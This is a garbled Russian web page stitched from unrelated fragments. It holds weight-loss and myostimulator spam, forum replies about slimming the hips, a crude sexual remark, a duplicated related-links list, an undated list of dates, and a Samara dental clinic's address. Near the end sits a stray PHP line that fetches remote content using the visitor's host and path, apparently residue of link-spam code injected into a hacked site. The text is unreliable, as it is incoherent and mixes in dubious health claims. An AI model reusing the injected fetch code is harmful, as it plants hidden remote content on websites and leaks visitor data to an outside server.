Миостимулятор AbTronic X2 - пояс для похудения и укрепления мышц брюшного пресса, которыйМиостимулятор AbTronic X2 работает от двух батареек ААА.Нефтеловушка ПЭСИО, это картридж в колодце на выпуске автомойки или на сети дождевой канализации.

Надо мужика крепче сжимать бедрами, когда трахаетесь.

Занимайтесь активно степ-аэробикой и йогой. Исключите макароны и картошку. Не носите шортов для похудения, они не дают дышать коже, а жир сгорает только при наличии кислорода.

Мне подруга рассказывала....ей диета не помогает..худеет все что не нужно..а бедра не худеют....просто диетой тут не поможешь...она еще спортом раньше занималась и сказала, что эта проблема- бич многих бывших спортсменов...подруга собиралась пойти на какой-то специальный сеанс иглоукалывания на бедрах...

Привет!
Очень эффективный способо-занятия танцем живота годами...да и от депрессии помогает.

Можно попробовать такое упражнение-глубокие приседания, ноги широко раставлены, руки вытянуты вперёд, спина прямая. Раз 10 в 3 подхода каждый день. За неделю заметишь результат! Удачи!

Миостимуляторы кроме совсем профессиональных НИКОГДА не питают от сети, иначе есть риск оказаться под сетевым напряжением.Магазин Дайте две! . Адрес ул. Молокова, 1 1 павильон на остановке Городок . Звоните 8 923 784 68 54 Работаем понедельник-суббота с 11...

Знаешь, как профессиональный художник скажу, что широкие бедра- это класс. Среди натурщиц пользуются большим успехом девушки с нестандартной фигурой. А для поддержаня формы- правиль сказали-восточные танцы

А кому мешают твои бедра? Люби себя такой, какая ты есть

Zaimic cvoei samoothenkoi. Idealnoi nikogda ne bydesh - vce bydet thego-to ne xvatat.

Жир локально не убирается, грудь и щеки тоже обвиснут! Выбирай...

Займись бодифлексом - должно помочь

  • Как убрать целлюлит за месяц - Как убрать целлюлит за 7 дней? Ни как! Это практический курс, и он предназначен не только для получения первоклассных пр
  • Подготовительный этап диеты ковалькова - Сорвалась с диеты по книге Ковалькова и съела в Сабвее сендвич с тунцом и майонезом. На кой хрен диеты???? Вот люди не з
  • Диета по певзнеру 13 - Диета Стол по Певзнеру 5 п - подскажите. Безопасна ли диета 8 ? Они все к добру не приведут Диета 15 по Певзнеру. Питани
  • Белковая диета после переноса эмбрионов - Хочу завести себе животное. подскажите пожалуйста, за кем легче ухаживать, главное чтобы мебель и обои не испортило!? За
  • Диета для диабетиков 2го типа - Нужна диета для диабетчика 2 степени Простите, но я не поняла - имеется в виду диабет второго типа (т. е инсулинонезавис
  • Диета для увиличения попы - На что ещё кроме диеты любят садится девушки? На шею... Диета для похудения ягодиц призвана сделать вашу попку упругой и
  • Вредит ли малышу крем от растяжек - Когда нужно начинать пользоваться кремами против растяжек во время беременности?Не вредит ли это будущему ребёнку? Здоро
  • Диета для сушки тела, что есть - Из за строгих диет могут пропадать месячные? Месячные пропадают из за сушки тела это значит что если месячных нет значит
  • Чай для похудения с имбирем с шиповником - Как быстро похудеть за месяц??? Сельдереевый суп. ШИПОВНИК Шиповник сушеный содержит сахара, пектиновые вещества, дубиль
  • Белковая диета принцип подбора белков - На сколько эффективна белковая диета? Коррекция фигуры употребляя только белковые продукты Жена и её подруга чуть кони н
  • Как убрать целлюлит за месяц - Как убрать целлюлит за 7 дней? Ни как! Это практический курс, и он предназначен не только для получения первоклассных пр
  • Подготовительный этап диеты ковалькова - Сорвалась с диеты по книге Ковалькова и съела в Сабвее сендвич с тунцом и майонезом. На кой хрен диеты???? Вот люди не з
  • Диета по певзнеру 13 - Диета Стол по Певзнеру 5 п - подскажите. Безопасна ли диета 8 ? Они все к добру не приведут Диета 15 по Певзнеру. Питани
  • Белковая диета после переноса эмбрионов - Хочу завести себе животное. подскажите пожалуйста, за кем легче ухаживать, главное чтобы мебель и обои не испортило!? За
  • Диета для диабетиков 2го типа - Нужна диета для диабетчика 2 степени Простите, но я не поняла - имеется в виду диабет второго типа (т. е инсулинонезавис
  • Диета для увиличения попы - На что ещё кроме диеты любят садится девушки? На шею... Диета для похудения ягодиц призвана сделать вашу попку упругой и
  • Вредит ли малышу крем от растяжек - Когда нужно начинать пользоваться кремами против растяжек во время беременности?Не вредит ли это будущему ребёнку? Здоро
  • Диета для сушки тела, что есть - Из за строгих диет могут пропадать месячные? Месячные пропадают из за сушки тела это значит что если месячных нет значит
  • Чай для похудения с имбирем с шиповником - Как быстро похудеть за месяц??? Сельдереевый суп. ШИПОВНИК Шиповник сушеный содержит сахара, пектиновые вещества, дубиль
  • Белковая диета принцип подбора белков - На сколько эффективна белковая диета? Коррекция фигуры употребляя только белковые продукты Жена и её подруга чуть кони н
Миостимулятор для похудения работающий от сети
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта